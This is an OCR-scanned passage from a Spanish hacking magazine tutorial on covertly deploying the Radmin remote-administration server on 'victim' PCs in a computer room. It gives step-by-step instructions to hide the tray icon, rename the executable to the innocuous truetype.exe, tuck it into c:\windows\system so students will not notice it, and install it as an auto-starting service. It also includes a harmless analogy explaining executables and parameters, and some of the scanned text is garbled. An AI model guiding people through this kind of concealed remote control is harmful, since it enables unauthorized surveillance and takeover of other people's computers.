Pues muy bien, lo que haremos es "retocar" la parte
servidor del radmin en nuestro propio PC y después
lo "portaremos" al resto de PCs (mas o menos,
porque tendras una sorpresa y en este caso una
sorpresa desagradable).

2.- Retocando el Radmin-Server para
Ocultarlo :)

Pensemos un poco... ... écomo ocultamos la Ultima
vez el serv-u2.5e? ...

- Yo, yo, -h... con la opcion no documentada -h, con la

Una vez retocado...

pantalla negra.

Una vez retocado, podremos instalar el Radmin-Server Perfecto, pues abrimos la "pantalla negra" esa que
modificado (el ejecutable retocado) en cualquier PC dices (para el resto de humanos se refiere a la "linea
"victima" al igual que hicimos con el serv-u2.5e en niimeros de comandos"). Y una vez abierta vamos al directorio
anteriores. .. je, je... ;0 quizas no? ... ;? donde instalamos el radmin.
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- Oye, que ya no me acuerdo de lo que tenia que escribir

para moverme por las carpetas desde la "pantalla negra"

Bueno, que sea la ultima vez... (uffffffff,
que pesadilla). Venga... para ir al disco
duro C escribimos --> c: <-- y pulsamos
la tecla enter. Acto seguido --> cd\ <--. La
barra "\" se hace pulsando la tecla [Alt Gr]
y sin soltarla pulsamos la tecla que hay
debajo del [Esc]. El enter es esa tecla grande
que hay a la derecha de tu teclado, que
te veo dubitativo... (pobre, que cana le

doy ;))

Pero... ésera posible?... Esa tecla no!!!ll, esa
es el SPACE. No, no me mires asi, ya se
que la tecla SPACE es grande, pero hombre...
he dicho a la derecha del teclado, no en
la parte inferior (paciencia, paciencia, paciencia...
élo mato?. éle muerdo?, éme suicido?...

lo que hay que sufrir!!l)

- Jo, no esperards que me acuerde de todo ;no?

En este instante, los ojos del que escribe estas
letras buscan desesperadamente en el
horizonte una realidad alternativa en la
que dejar descansar sus alteradas neuronas.
A pesar de sus esfuerzos la cruda realidad
se impone y las letras siguen bailando por
la pantalla intentando dar forma a las palabras
que componen este texto... ... ... ...

Bien, {ya podemos continuar? ¢Encontraste las
teclas?

- Hace rato. Venga sigue!, que no tenemos todo el dia

"en

(por un momento se ha quedado como
blanco", debe ser que no tiene ni idea de eso
de ocultar el "radmin", o quizds es la edad,
dicen que cuando te haces viejo te vuelves lento,

debe ser eso).

Vale, seguimos... emmm... si, estoooo, ah, si,
ahora estamos en el disco C.

Pagina 28

PARTE Ill: OCULTANDO EL RADMIN Y FRACASANDO

nbolo del sistema

Microsoft Windows RP [Uersion .1.2688]
(C> Copyright 1985-2@@1 Microsoft Corp.

C:sDocuments and Settings“\RUBENXC:

C:\Documents and Settings“RUBENX>CD-
iGN

y tenemos que ir a la carpeta donde instalamos el
"radmin". Si al instalar no cambiaste la ruta, casi
seguro que esta en c:\archivos de programa\radmin,
asi que venga, escribimos --> cd "archivos de
programa" <-- y pulsamos enter. Por cierto, por si
no lo sabias, las comillas sirven para acceder a una
carpeta que tiene un nombre formado por varias
palabras separadas por espacios.

Ahora --> cd radmin <-- y ya estamos dentro de la
carpeta c:\archivos de programa\radmin\

Y por Ultimo listamos los archivos de esa carpeta
escribiendo -->dir <-- y pulsamos enter.

C:N>
C:\>cd "archivos de programa"
C:“Archivos de programa’cd radmin

C:\Archivos de programaRadmin>dir
El volumen de la unidad C no tiene etigueta.
El niinero de serie del volumen es: 1871-9F3A

Directorio de C:“Archivos de programa‘Radmin

26182082 e <DIR> s
26.-18-2082 g <{DIR> ..
108072000 H 98.112 AdmD11.d11
24-07-2001 14: 2.584 help.cnt
24/87,20081 H = help.hlp
24072081 9 2.281 license.txt
08072008 raddru.dll
25072001 radmin.exe
24072081 README.TXT
240720081
25072801
24182082
24072001

11 archivos 1268418
2 dirs 36.726.173.696 b

1117
ytes

C:~Archivos de programasRadmin>

Ahora nos fijamos bien en el listado de archivos y
vemos uno llamado radmin.exe y otro r_server.exe.
Muy bien, pues el primero (radmin.exe) es el Cliente
del Radmin y el segundo (r_server.exe) es el "radmin-
server" (la parte servidor del radmin).

Como ya debes suponer lo que nos interesa es
instalar en una "victima" la parte servidor del
"radmin", es decir, el r_admin.exe, por lo tanto nos
podemos olvidar de la parte cliente y centrarnos en
la parte servidor. Venga, écomo ejecutarias el
r_admin.exe en modo oculto para que nos esconda
el Tray Icon?

- 10| x|




- Pues muy ficil, escribimos r_server.exe -h y pulsamos

enter, como hicimos con el serv-u2.5e.

Pues NO!!l Piensa que cada programa tiene sus
propias opciones, ni mucho menos tienen que
coincidir. Pero hay una opcién que SI es bastante
estandar, la opcion -->/?<--,es decir, la opcidn de
ayuda. Venga, escribe --> r_server /? <--, pulsa
enter y te encontrards con esta ventanita.

X
Lsage: r_setver, exe opkions
Options:
Jsetup - show window dislog box with setup settings {install, remowve, port, pass)

Tpass oo - specify a password
Tporkoo: - specify a port number
finstall - inskall service (Win9SI98 o WinkT) and driver (WinkT)
Juninstall - uninstall service and driver, if present
lsawe - save pass & port to the default program settings in the registry
if wou nok specify port orland pass when use this option,
default port oriand empty password will be saved,
Jsilence - don't show message boxes,in finstall, juninstall or fsave commands.
Junregister - delete an already entered key For Radmin.
17 - this help screen

Mote, that port and password specified in the command prompt,
always overrides default settings From the regiskry

Aceptar |
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Busca una opcion para ocultar el "radmin-server".

- Pues de ingles muy poco, pero creo que no hay ninguna
para ocultar nada

Exacto!!!, asi que éno podemos ocultarlo?

- Ahhhh! Ya se!!!! Debe haber una opcion no
documentada para ocultarlo ;no?

Muy bien, veo que vas pillando la idea. En este
caso, después de leerte la documentacidn
del programa, un par de visitas al Google
(www.google.com, el mejor buscador del
mundo), unos cuantos cafés, un par de
series de O.T. y MUCHA paciencia encontraremos
una opcion interesante, en concreto la opcion
/setup.

- Ya me estd tomando el pelo otra vez... Oye!!! Que esa
opcion estaba en la ventana anterior :(

Je, je... pues venga, escribimos --> r_admin /setup

<--, pulsamos enter y ZASSS!!!, nos aparece una
ventana de configuracion muy interesante :)

Pagina 29

PARTE Illl: OCULTANDO EL RADMIN Y FRACASANDO

Dptions for Remote Administrator server 2.1

If wou install the: seltver a5 & system service you configure it to run Inztall service

autamatically eac|. sme when Windows starts.

Far windows MT /2000 uzers: To install or remove the service pou mugt  Remove zervice
have adminstratar privileges.

. . : Set password ...
If you do not install the server as a zervice, you can start it marnually

each time, when you need it, However some features of the server

will ot wark in thiz caze. For example you will nat be able to remotely [Options ..

lngon and logoff the uzer.
About .

Enter reg code

[tz |
[
[Spmtn ]
[eee |
=
B

Pulsamos el botdn Options (opciones) y en la ventana
que se nos abrird miramos donde pone Tray Icon y
marcamos el cuadro "Hide Tray Icon" (ocultar icono
en la Barra de Inicio).

Dptions for Remote Administrator Server 2.1 x|

[t's neceszam to reztart B admin zerver after the
change of the port number.

[P filker allows access only from specified IP addreses
[ Usze P filker

IF addresz | Subnet mazk |

Sddl... Fremoyve |

~Port————————— Tiayicon

v LUsze default port

|4EEIS

— Logaing

— Incoming connection dialog——

[T Ask user permission
[~ Usze Event Lag F

[ Usze logfile

Ic: nlogfile. tat

% buto deny after imeout
) Auto allow after Hmeaut

Timeaut |1 1] e
Cancel |
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Finalmente pulsamos OK y EXIT para cerrar la Ultima
ventana :)

Bien, con esto hemos conseguido que cuando se
inicie el "radmin-servidor" no ponga un icono en la
Barra de Inicio, junto al reloj.

3.- Comprobando la muerte del Tray
Icon.

En este momento, seguro que aun tienes el radmin-
servidor corriendo y el icono junto al reloj del sistema.
Pues vamos a matar el "proceso" (el programa) y
a reiniciarlo para comprobar que esta vez NO
APARECERA el dichoso icono :)

Venga, buscamos el proceso y lo matamos. Ya sabes
coémo hacerlo (de otros nimeros):

- pulsando las teclas [ctrl] [alt] [supr] nos
saldra una ventana llamada "Administrador
de Tareas de Windows".

- pulsamos sobre la pestafia PROCESOS (solo
NT y XP).

- buscamos "r_admin.exe" (el radmin-server)
en la lista.

- lo seleccionamos pulsando una vez sobre
él con el Mouse

- pulsamos sobre el botdn Terminar Proceso
(abajo de esa misma ventana). De esta
forma habremos matado la aplicaciéon y su

ICoONo.
O administrador de tareas de Windows _ ol x|
fArchiva  Opriones  Yer Apagar  Ayuda
#plicaciones  Procesos IRendlmlentU I Funciones de red | Usuarios |
Mombre deimagen | Mombre de usuario I CPU | Uso dem.. I -
WINWORD EXE RLIBEM oz 24,440 KE
Snaglt3z.exe RUEBEM oo S.030KE
taskrngr.exe RUBEMN ag 3.096 KB
WSMON.ExE SYSTEM oo 3844 KB
ZAPro.Exe RUBEMN oo 3,780 KB
explarer exe RUBEMN oo 16744 KB
QAL EXE RLUE oo 1,656 KB
crnd. e RUEI 0o 1.188KB
acrotray,exe ) 460 KB e
s e El
nvsve32 exe SHSTEM oo 476 KE
MAVAPSWE ERE SHSTEM oo 905 K&
mdm. exe SHSTEM oo 1.336 KE
E_S5RPOS.EXE SYSTEM oo 380 K&
SA0ent2.exe SYSTEM oo 972 KE
SWSOCEXE SYSTEM oo 1,105 KB
Swstrtr. exe SYSTEM oo 304 KB
jrun.exe SYITEM oz 15,964 KB
swagent.exe SYSTEM oo F52KB LI
v Mostrar procesos de todos los usuarios Terminar proceso
Procesos: 41 ‘Uso de CPL: 8% |Car’ga de transacciones: 218128K | ~
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Ahora reiniciamos el r_server.exe (el radmin-server)
por la linea de comandos introduciendo -->
r_server.exe <-- en la famosa ventana negra y
pulsamos enter. En ese instante el radmin-server se
iniciard PERO en modo "silencioso", sin poner ningln
icono en la Barra de Inicio.

C: iu

de programasRadmin’r_server

C:~Archivos de programa“Radmin>

- Y como se yo que el radmin-server estd funcionando?

Tienes dos maneras de comprobarlo:

- Conectandote con el radmin-cliente (tal
como hicimos al principio del articulo)

- Pulsando [ctrl] [alt] [supr] y buscando el
proceso igual que antes.

- Que yo me aclare, vamos a ver. Por lo que veo, no es
necesario instalar el ""radmin'’ en los equipos que quiero
controlar ;jverdad? Solo tengo que "meterles' el

r_admin.exe (el servidor) y ejecutarlo.

Correcto!!! El archivo r_admin.exe es el Unico que
necesitas "pasarle" a la "victima", por eso te
dijimos que leyeses el articulo al completo
antes de meterte a "currar". Si instalaste el RADMIN
al completo en el resto de PCs, desinstalalo
de todos ellos.

4.- Ejecutando el RADMIN-SERVER de
forma oculta en una sala de PCs y
cambiando el nombre del ejecutable...

Situacién de partida: Nuestro PC principal con el
radmin instalado al completo, la parte "servidor"
corriendo de forma oculta y 10 PCs que queremos
controlar (que no tienen el RADMIN instalado). Si
has seguido los pasos, eso es lo que tienes en este
instante.

* Muy bien, pues sentados frente a nuestro PC
Principal copiamos el archivo r_server.exe (el servidor)

a un disquete:

--> Copy r_server.exe a:\ <--
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C:\Archivos de programa‘Radmin*copy r_server.exe a:\
archivos copiados.

C:\Archivos de programa‘RadminZ

* Nos vamos a la disquetera y renombramos el
archivo a truetype.exe.

--> a: <--y pulsamos enter: Vamos a la disquetera
--> ren r_server.exe truetype.exe <-- y pulsamos
enter: cambiamos de nombre el archivo mediante
la instruccion "ren" (renombrar)

* Hacemos un listado del contenido de la disquetera
para asegurarnos del cambio de nombre:

Para evitar eso cambiamos el nombre del archivo por otro
poco llamativo (nosotros lo hemos renombrado a
truetype.exe, ti puedes llamarlo como quieras) y de esa
forma, si un alumno accede al Administrador de Tareas,
vera un montdn de procesos corriendo y uno de ellos sera
el proceso truetype.exe ;) es decir, nuestro radmin-servidor

oculto bajo el nombre truetype.exe ;)

* (Por qué hemos copiado el truetype.exe a la carpeta
c:\windows\system\?

Podriamos haberlo copiado en cualquier sitio, por ejemplo
en c:\, pero si un alumno ha leido esta revista, curiosea por

el disco duro y reconoce el icono del radmin-servidor, se

acabd el juego!!! Por eso es mejor meterlo en alguna carpeta

--> dir <-- y pulsamos enter. 7 . .
yp cuanto mas escondida mejor :)

C:“Archivos de programa“Radmin>copy »_server.exe a
1 archivos copiadoc. Pues venga, lo ejecutamos tal cual, pinchando dos veces

C:\Archives de programazRadminda:

e sobre el archivo truetype.exe o por linea de comandos -
AN\ Ddir

El volumen de la unidad A no tiene etigueta.
El nimero de serie del volumen es: BBAE-BAREA

-> c:\windows\system\truetype.exe y... jya tenemos
corriendo el radmin-server de forma oculta? Pues NO!!!!

Directorio de A:n
24,07,2001 16:15 ... Cuidado con esto!!!!
1"archivos
A irs

241.664 truetype.exe
241.664 hytes
1.216.800 hytes libres

Hemos querido intencionadamente conducirte a este error
para dar paso a una "pequefia" explicacion de lo que es

. L un ejecutable (por ejemplo el r_admin.exe) y evitar un
* Ahora sacamos el disquete del PC principal y se

lo metemos al PC "victima". Vamos a la disquetera
de la "victima" y copiamos el truetype.exe en un
directorio cualquiera. Por cierto, contra mas escondido
mejor, por ejemplo podemos copiarlo en
c:\windows\system\ (no es el sitio mas recondito
del mundo pero por ahora nos vale :)

error muy comun. Muchos piensan que modificando las
opciones de un programa en un ordenador y copiando ese
programa a otro ordenador, conseguiran tener dicho
programa en ambos ordenadores y comportandose de
forma idéntica. Bien, PUES ESO NO ES CIERTO!!! Un
ejecutable en principio en inmutable!!! Las configuraciones
se guardan (normalmente) en un archivo adjunto (como
el caso del "servu", explicado en anteriores numeros) o
en el registro de Windows o en algun otro elemento
EXTERNO del ejecutable en si.

Por qué hemos...

* (Por qué hemos cambiado el nombre del archivo?

Por favor...

Imagina que un alumno espabilado accede al

"Administrador de Tareas de Windows" pulsando las teclas
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[ctrl] [alt] [supr], imagina que ese alumno ha leido esta
revista y ve que en el Administrador de Tareas hay un
proceso "en marcha" llamado r admin.exe... pues ya nos
ha pillado!!!!
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Por favor, ya se que soltar una afirmacion de este tipo y
quedarme tan ancho es una falta de "decoro". Posiblemente

arranque las carcajadas (o las iras) de algunos lectores que
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En el siguiente texto intentaremos mostrarte unas

posean conocimientos de programacion, pero lo que intento cuantas cosas interesantes de los ejecutables.

es orientar a quien lee este articulo y ampliar un horizonte

Sabemos que este articulo esta siendo muy largo,

pero ya nos conoces, intentamos que sepas lo que

que de otra manera seria imposible abarcar. Fijate que digo

"un ejecutable es en princio inmutable", no que un ejecutable

esta sucediendo y el motivo por el que sucede. No
es facil, de verdad, no es facil llegar a todo el mundo

sea inmutable. La intencién de Hack x Crack es ENSENAR eludiendo los conocimientos previos de cada uno.

a personas de todos los niveles, cuando hablemos de Pero aqui estamos para intentarlo :)

programacion ya entraremos en detalles sobre programacion.
Siempre que hacemos afirmaciones de este tipo intentamos
poner un recuadro como este o hacer algin comentario
sarcastico para hacer ver que "eso" que decimos no es una
"verdad absoluta"... aunque si nos lo planteamos seriamente,

(existen las verdades absolutas? ():-)

STTE GUSTALATNFORMATICA,
lm“CABREA@@"ﬂ GUINDOUS)

PC PASO A PASO

SORTEA CADA MES UN S.0.
SUSE LINUX PROFESSIONAL 8.1
SIMPLEMENTE ENVIA LA PALABRA
PCCON AL 5099
DESDE TU MOVIL

PRECIO DEL MENSAJE: 0,90€ + [VA. VALIDO PARA (MOVISTAR - VODAFONE Y AMENA)

EL PREMIO PUEDE SER CANJEABLE POR UN JUEGO
DE PC O CONSOLA QUE NO SUPERELOS 85€

©

SuSE

Incluye 7 CD’sy 1 DVD
Manual de Instalacion.
Manual de Administracion
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INTENTANDO ACLLARAR DUDAS H

CONCEPTOS SOBRE 1LOS EJECUTABLES Y
OPCIONES AVANZADAS DEL RADMIN.

1.- Sobre los ejecutables *.exe

Vamos a ver de ddonde salen esos archivos que
llamamos ejecutables y tienen la extension exe,
esos que cuando pulsamos sobre ellos se ejecutan
y hacen "de todo" ;)

Un programa (por ejemplo el r_admin.exe) antes
de ser un ejecutable sobre el que pinchas con tu
Mouse era una serie de instrucciones (lineas de
cddigo) escritas segun las reglas impuestas por un
lenguaje de programacién (C, C++, Basic, Pascal,
Delphi, ensamblador...). Estas "instrucciones" se
pueden escribir en una servilleta mientras te tomas
un café en cualquier cafeteria (no te imaginas la de
proyectos que empiezan asi). Después, te "pillas"
el Bloc de Notas de Windows (0 una completa suite
de programacion si eres de los "quisquillosos";)) y
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copias lo de la servilleta.

Muchos creen que...

Muchos creen que un ejecutable (*.exe) sale del
"aire", o que es "algo" que podemos escribir en
Word y después cambiarle la extension (de *.doc
a *.exe) y ya esta o que es algo que solo pueden hacer las
grandes empresas a través de programas supercomplejos
llamados "compiladores" y que cuestan millones de

curos.

Bueno, pues nada mas lejos de la realidad. Los
programas pueden escribirse linea a linea e instruccion
a instruccion incluso sobre el sencillisimo Bloc
de Notas del Windows. Después se "compila"
(transforma) con unos programas muchas veces
GRATUITOS llamados compiladores y de esa
compilacion sale el ejecutable (aunque pueden salir

muchas otras cosas ;))
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Bien, una vez tenemos nuestro "texto" (cddigo) en
el bloc de notas, lo pasamos por un compilador y
obtenemos un ejecutable (loquesea.exe). Cuando
ejecutamos el *.exe, este hara exactamente lo que
escribimos en la servilleta y normalmente realizara
una serie de acciones "por defecto". En el caso del
r_admin.exe, al ejecutarlo "tal cual" (por defecto),
muestra el icono junto al reloj del sistema y se pone
a la escucha del puerto 4899.

- Oye, pero, ;como oculto el radmin?, no esperards
ahora que me meta a estudiar los compiladores esos

Jno?

Hoy no, hoy simplemente entenderas unas cuantas
cosas respecto a los programas que quizas nunca
te habias planteado... pero dentro de poco (unos
meses, supongo) nos meteremos de lleno en eso
de la programacién :) Déjame seguir que ya acabo.

- Bueno, vale, pero no te alargues mucho que quiero

seguir con el ejercicio y quiero matar el icono ese.
2.- OSITO.EXE 1

Para que se entienda mejor vamos a utilizar nuestra
imaginacion... :)... ...

Estamos aburridos en una de esas soporiferas cenas
de navidad con nuestra familia, hay gente en la
mesa que no tienes ni idea de quienes son, pero si
dicen ser de la familia sera verdad éno? ... por
casualidad te haces con un trozo de papel y un
boligrafo. Bien!!!! ¢éQué mejor manera de abstraerte
que escribir un programita?

Escribes un programita que limpie la mesa de invitados
molestos:

1 Crea un osito sobre la mesa.
2 Que el osito se desplace hacia la derecha hasta
llegar al siguiente invitado
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3 Que el osito le pregunte al invitado si es de la
familia

4 Si el invitado responde que si es de la familia
volver a la linea 2

5 Si el invitado responde que no es de la familia
transformate en un tigre, cdmete al invitado, vuelve
a transformarte en un inofensivo osito y vuelve a
la linea 2

Ahora imagina que sobre la mesa hubiese una caja
negra (haria las funciones de compilador) y que
metiendo tu papel (tu programa) en la caja
apareciese una pequefia esfera plateada con un
botdn de activacion (nuestro ejecutable, nuestro
*.exe). Imagina que pulsasemos el botdn
(ejecutasemos el programa)... équé pasaria? ... pues
que apareceria un osito sobre la mesa que se
comeria a los invitados que no fuesen de nuestra
familia.

Hemos visto...

Hemos visto el tipico caso de ejecucion de un programa

sin opciones.

3.- OSITO.EXE 11

Pero no estamos contentos, porque el osito ha
empezado su "purga" por la derecha y nosotros
deseamos poder elegir si queremos que empiece
su cometido por la derecha o por la izquierda, pues
venga, vamos a afadir la posibilidad de introducir
modificaciones a la hora de activar nuestra esfera
(nuestro *.exe).

1 Crea un osito sobre la mesa.

1.5 Posibilidad de opcidn -izquierda: posibilidad de
ir a la izquierda.

2 Que el osito se desplace hacia direccion establecida
hasta llegar al siguiente invitado.

3 Que el osito le pregunte al invitado si es de la
familia.

4 Si el invitado responde que si es de la familia
volver a la linea 2.

5 Si el invitado responde que no es de la familia
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transférmate en un tigre, comete al invitado, vuelve
a transformarte en un inofensivo osito y vuelve a la
linea 2

Metemos el papel (el programa) en la caja negra
(compilador), aparece la esfera plateada con el boton
de activacion (el ejecutable); pero ahora el boton
de activacion tiene un cuadrito (opcidn) que podemos
seleccionar (o0 no) antes de pulsarlo, en ese cuadrito
ves escrita la palabra izquierda. Si queremos activar
el osito para que se coma a los invitados de la
derecha simplemente pulsaremos el botén de
activacion de la esfera, si queremos que se coma a
los invitados de la izquierda primero seleccionaremos
el cuadradito que tiene la palabra izquierda y después
pulsaremos el botdn de activacion.

Esto equivaldria a introducir opciones por linea de
comando a un programa. En este caso, si nuestro
programa se llamase osito.exe, podriamos abrir una
linea de comandos e introducir osito.exe (sin
opciones), con lo que el osito se desplazaria hacia
la derecha o podriamos introducir osito.exe -izquierda
(con la opcidn de direccion izquierda), con lo que
se desplazaria hacia la izquierda.

Tipico caso...

Tipico caso de ejecucion de un programa pasandole

parametros por linea de comando.

4.- OSITO.EXE III

Vamos a complicarlo un poco y... deja de mirarme
asi!!! Que no estoy loco, ya veras que todo esto del
osito tiene un motivo, venga hombre, que no quiero
volver a recibir mails preguntando cosas sobre las
opciones de configuraciéon de los programas.
Como iba diciendo vamos a complicarlo un poco,
vamos a afiadirle al osito la opcién de pedirme un
papel (archivo) con parametros de configuracion
respecto a la velocidad de movimiento y
el idioma con que debe preguntar al invitado
si es de la familia. Hombre, imagina que
tus parientes son ingleses y tu osito se los come por
un simple problema de "entendimiento" ;)



1 Crea un osito sobre la mesa.
- [Configuracion por defecto]:
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izquierda a la velocidad y en el idioma establecido
por el archivo externo de configuracion ositoconfig.txt

que esta en la ruta c:\

S

Tipico caso de ejecucion de un programa pasandole

[Direccion: derecha]

[Velocidad: normal]

[Idioma: espaiiol]
1.5 Posibilidad de opcidn -izquierda: posibilidad de
ir a la izquierda.
1.6 Posibilidad de encontrar una nota: posibilidad
de encontrar nota con la configuracidon de
velocidad/idioma.
2 Que el osito se desplace hacia direccion establecida
hasta llegar al siguiente invitado.

Tipico caso...

parametros por linea de comando y completando su

configuracion adjuntandole un archivo externo.
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3 Que el osito le pregunte al invitado si es de la
familia.

4 Si el invitado responde que si es de la familia
volver a la linea 2.

5 Si el invitado responde que no es de la familia
transféormate en un tigre, cdmete al invitado, vuelve
a transformarte en un inofensivo osito y vuelve a
la linea 2.

Metemos en papel (el programa) en la caja negra
(compilador), aparece la esfera plateada con el
botén de activacion (el ejecutable). El botén de
activacion tiene un cuadrito (opcidn) que podemos
seleccionar (o no) antes de pulsarlo, en ese cuadrito
ves escrita la palabra izquierda (igual que antes,
ya sabes sus efectos, en este caso lo seleccionamos).
Pero ahora, la esfera tiene un orificio por
el que podemos introducir una nota (archivo de
configuracién) con las opciones de velocidad e
idioma. Pues escribimos una nota indicando Velocidad
= rapido e Idioma = inglés y se la introducimos por
el orificio. Finalmente pulsamos el boton de la esfera.
Veremos como aparece el osito y rapidamente se
come a los invitados que no son parientes después
de preguntarles en ingles sobre el tema :)

Esto equivaldria a introducir opciones por linea de
comando a un programa y un archivo de
configuracion externo. En este caso, si nuestro
programa se llamase osito.exe, podriamos abrir una
linea de comandos e introducir osito.exe
(sin opciones), con lo que el osito se desplazaria
hacia la derecha. O podriamos introducir
osito.exe -izquierda (con la opcién de direccion
izquierda), con lo que se empezaria su
purga por la izquierda. O podriamos introducir
osito.exe -izquierda c:\ositoconfig.txt, con
lo que el programa iniciaria su purga por la
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5.- OSITO.EXE IV

Vamos a hacer un ultimo supuesto. Imagina que
nuestro osito pudiese ser de color negro, rojo o
plateado y que para saber el color que debe adoptar
tuviese que ir hasta el centro de la mesa y leer un

papel.

1 Crea un osito sobre la mesa.
- [Configuracion por defecto]:

[Color: negro]

[Direccion: derecha]

[Velocidad: normal]

[Idioma: espariol]
1.3 Que el osito se desplace hasta el centro
de la mesa, lea el papel que encontrara
y cambie de color segln le indique. Si no
encuentra ningun papel que mantenga las
opciones de color por defecto.
Que el osito vuelva al punto de partida.
1.5 Linea de opcidn -izquierda: posibilidad de ir a
la izquierda.
1.6 Linea de opcidn -config: leer papel con la
configuracion de la velocidad/idioma.
2 Que el osito se desplace hacia direccion establecida
hasta llegar al siguiente invitado.
3 Que el osito le pregunte al invitado si es de la
familia.
4 Si el invitado responde que si es de la familia
volver a la linea 2.
5 Si el invitado responde que no es de la
familia transformate en un tigre, comete
al invitado, vuelve a transformarte en un
inofensivo osito y vuelve a la linea 2.
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Metemos en papel (el programa) en la caja
negra,aparece la esfera plateada con el boton de
activacion (el ejecutable). El boton de activacion
tiene un cuadrito (opcidn) que podemos seleccionar
(o no) antes de pulsarlo, en ese cuadrito ves escrita
la palabra izquierda (igual que antes, ya sabes sus
efectos, en este caso NO lo seleccionamos). La
esfera tiene un orificio por el que podemos introducir
una nota con las opciones de velocidad e idioma
(archivo de configuracion). Pues escribimos una
nota indicando Velocidad = despacio e Idioma =
aleman (esta vez nuestros parientes son alemanes).
Ponemos un papel en el centro de la mesa (Registro
de Windows) donde previamente hemos escrito
Color = plateado. Finalmente pulsamos el botén de
la esfera. Veremos como aparece el osito negro que
se desplazara hasta el centro de la mesa, leera el
color, se transformara en un osito plateado, volvera
a su punto de inicio (frente a ti), se desplazara hacia
la derecha y lentamente se comera a los invitados
que no son parientes después de preguntarles en
aleman sobre el tema :)

En este caso, si nuestro programa se llamase
osito.exe, podriamos abrir una linea de comandos
e introducir osito.exe (sin opciones), con lo que el
osito adoptaria el color indicado en el registro de
Windows (centro de la mesa) y se desplazaria hacia
la derecha. O podriamos introducir osito.exe -
izquierda (con la opcién de direccion izquierda), con
lo que el osito adoptaria el color indicado en el
registro de Windows (centro de la mesa) y empezaria
su purga por la izquierda. O podriamos introducir

6.- Conclusiones Importantes, gracias
OSITO.EXE ;)

Con toda esta "tonteria" del osito acabamos de
aprender unas cuantas "cositas "muy importantes
que jamas se te olvidaran:
* Que los programas, cuando se ejecutan, toman
una serie de valores por defecto.
* Que podemos modificar esos valores a través de
"parametros".
* Que podemos pasarle los parametros al programa
a través de diversos métodos:

- por la linea de comandos

- por un archivo externo referenciado en

la linea de comandos
- por registro de Windows
- por otros que no hemos explicado :)

Otra cosa MUY IMPORTANTE es que el ejecutable
(el programa) DEBE contemplar dentro de su cédigo
las opciones de configuracion, no podemos
inventarnos nada. Si un programa no admite la
opcion -h es porque el codigo del programa no
contempla dicha opcién. Ahora veremos que la
ocultacion del Tray Icon del r_admin.exe solo puede
hacerse a través de una opcién (-setup) que provoca
una modificacion del registro de Windows y no puede
hacerse directamente desde la linea de comandos.

Espero que...

osito.exe -derecha c:\ositoconfig.txt, con lo que el Espero que nunca mds veas un programa como un icono
osito adoptaria el color indicado en el registro de sobre el que pulsas de forma automatica e irreflexiva. Tras
Windows (centro de la mesa) e iniciaria su purga ese ridiculo icono suele haber un ejecutable y tras ese
por la derecha a la velocidad y en el idioma ejecutable un mundo de opciones en las que normalmente
establecido por el archivo externo de configuracion ni pensamos.

ositoconfig.txt que estd en la ruta c:\

7.- Algunas apreciaciones sobre el
registro de Windows:

Tipico caso...

Tipico caso de ejecucion de un programa pasandole Normalmente, cuando instalamos un programa,

parametros por linea de comando, completando su este guarda una serie de datos (configuraciones,
rutas, valores...) en el famoso Registro de Windows.

Este registro no es mas que el inmenso
archivode configuracion de nuestro "querido"
Windows,la caja de Pandora desde donde

configuracion adjuntandole un archivo externo y tomando
valores del Registro de Windows.
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podemos hacer casi cualquier cosa. Un ejemplo
claro es nuestro antivirus, habras podido comprobar
que se inicia automaticamente cada vez que reinicias
el sistema, eso es debido a que ha introducido una
serie de lineas en una clave del registro cuya mision
es exactamente esa, iniciar programas
automaticamente sin la intervencion del usuario.

El registro es el 51% del Sistema Operativo Windows
a pesar de ocupar una infima parte de este, es el
corazon y el cerebro fundidos en un solo érgano,
sin él Windows no seria mas que un monton de
archivos amontonados e inservibles.

Dada la importancia de tan interesante elemento,
puedes imaginar que tiene los permisos de acceso
restringidos, solo el administrador del sistema (y
los usuarios con privilegios de administrador) puede
acceder al registro.

Muchos nos...

Muchos nos han preguntado, a raiz del CODE/DECODE
explicado en anteriores numeros, como hacer que un proceso
se inicie junto al sistema en un remoto a través de dicho
bug. Bueno, bueno, bueno... hay muchas maneras pero
ninguna es directa, puesto que ese bug no nos ofrece
derechos de administrador y mucho menos acceso al registro.
Ya iremos aprendiendo mas sobre todo esto, poco a poco

y paso a paso.

8.- Opciones del "radmin-servidor”.

Para encontrar las opciones que nos ofrece un
ejecutable debemos leernos la documentacion que
le acompafa. En caso de no encontrar lo que
buscamos utilizaremos el parametro de ayuda, que
suele ser uno de estos (aunque no necesariamente):

Ejecutable.exe /?
Ejecutable.exe /h
Ejecutable.exe /help
Ejecutable.exe /options
Ejecutable.exe -h
Ejecutable.exe -help
Ejecutable.exe -options
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En el caso del r_admin.exe, cuando hacemos un
r_admin.exe /? Nos sale la pantalla de ayuda (Help
for RAdmin Server).

Ipassoone: - specify a password

% Iportiscaaa: - specify a port number
finskall - inskall service (Win95/98 or WinMT) and driver (WinkT)
Juninstall - uninstall service and driver, if present

if wou naot specify port orland pass when use this option,
default port oriand empty password will be saved,

Junregister - delste an already entered key For Radmin,
I7 - this help screen

Mote, that port and password specified in the command prompt,
always overrides default settings from the regiskry

Aceptar |

[save - save pass & port to the default program settings in the registey

lsilence - don't show message boxes,in finstall, funinstall or fsave commands,

X
L Usage: r_server.exe options
.‘l) Options:
' Jsetup - show window dialog box with setup settings (install,remove, port, pass)

Muy bien, vamos a practicar con las opciones mas
Gtiles:

* Si escribimos en una ventana de comandos la
instruccion

--> r_server.exe /pass:mipassword /port:45684
Y pulsamos enter, habremos iniciado nuestro radmin-
servidor, lo habremos puesto a la escucha del puerto
45684 y protegido con el password mipassword.
En este caso no se produce ningln cambio en el
registro de Windows, es un simple paso de
parametros por linea de comandos. Podras hacerlo
en cualquier PC tengas o no permisos de
administrador :), pero aparecera el icono junto al
reloj del sistema :(

* r_server.exe /install

Instalara el servicio, es decir, a partir de ese momento
el programa se iniciara automaticamente cada vez
que se reinicie el sistema operativo. Esto implica un
cambio en el registro de Windows.

No hace falta explicar /unistall (desinstalar servicio)
/save (grabar valores por defecto) o /silence (sin
pantallas de aviso para las opciones /install, /uninstall
y /save). Todas ellas modificaran el registro.

* r_server /setup
Nos ofrecera una interfaz grafica con la que modificar,
entre otras cosas, la ocultacién o no del Tray Icon.




Esta pantallita ya la hemos tratado en el texto
anterior. Por cierto, cualquier cambio en esta interfaz
provocara modificaciones en el registro de Windows.

Dptions for Remote Administrator server 2.1

Install zervice

|
[ e |
[
|
[ o |
|
EEE=E

If wou install the server as a system service vou configure it ko run
autarmatically ea:[&eime when Windows starts.

Far windows MT /2000 users: To install o remove the service pou must  Femove service
hawve adminstrator privileges.

